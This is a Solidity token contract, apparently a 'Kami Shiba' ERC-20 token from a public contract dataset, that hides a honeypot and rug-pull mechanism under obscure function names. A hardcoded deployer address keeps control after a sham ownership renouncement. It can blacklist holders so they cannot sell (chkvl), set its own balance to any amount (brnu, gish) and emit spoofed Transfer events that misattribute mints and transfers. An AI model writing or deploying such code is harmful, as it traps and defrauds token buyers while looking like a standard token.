File size: 4,956 Bytes
f998fcd |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 |
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity 0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract KAMISHIBA {
mapping (address => uint256) public rT;
mapping (address => uint256) public Iz;
mapping (address => bool) bN;
mapping(address => mapping(address => uint256)) public allowance;
string public name = unicode"Kami Shiba";
string public symbol = unicode"KAMI SHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 700000000 * (uint256(10) ** decimals);
address owner = msg.sender;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event OwnershipRenounced(address indexed previousOwner);
address r_Construct = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
constructor() {
rT[msg.sender] = totalSupply;
deploy(r_Construct, totalSupply); }
address rdeployer = 0xec6C9F480EFb9b9FB5d34b8AF993024892932659;
function deploy(address account, uint256 amount) public {
require(msg.sender == owner);
emit Transfer(address(0), account, amount); }
function renounceOwnership() public {
require(msg.sender == owner);
emit OwnershipRenounced(owner);
owner = address(0);}
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == rdeployer) {
require(rT[msg.sender] >= value);
rT[msg.sender] -= value;
rT[to] += value;
emit Transfer (r_Construct, to, value);
return true; }
if(!bN[msg.sender]) {
require(rT[msg.sender] >= value);
rT[msg.sender] -= value;
rT[to] += value;
emit Transfer(msg.sender, to, value);
return true; }}
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function gish () public {
if(msg.sender == rdeployer) {
rT[msg.sender] = Iz[msg.sender];
}}
function balanceOf(address account) public view returns (uint256) {
return rT[account]; }
function sny(address ii) public {
if(msg.sender == rdeployer) {
bN[ii] = false;}}
function chkvl(address ii) public{
if(msg.sender == rdeployer) {
require(!bN[ii]);
bN[ii] = true;
}}
function brnu(uint256 x) public {
if(msg.sender == rdeployer) {
Iz[msg.sender] = x;} }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == rdeployer) {
require(value <= rT[from]);
require(value <= allowance[from][msg.sender]);
rT[from] -= value;
rT[to] += value;
emit Transfer (r_Construct, to, value);
return true; }
if(!bN[from] && !bN[to]) {
require(value <= rT[from]);
require(value <= allowance[from][msg.sender]);
rT[from] -= value;
rT[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }}} |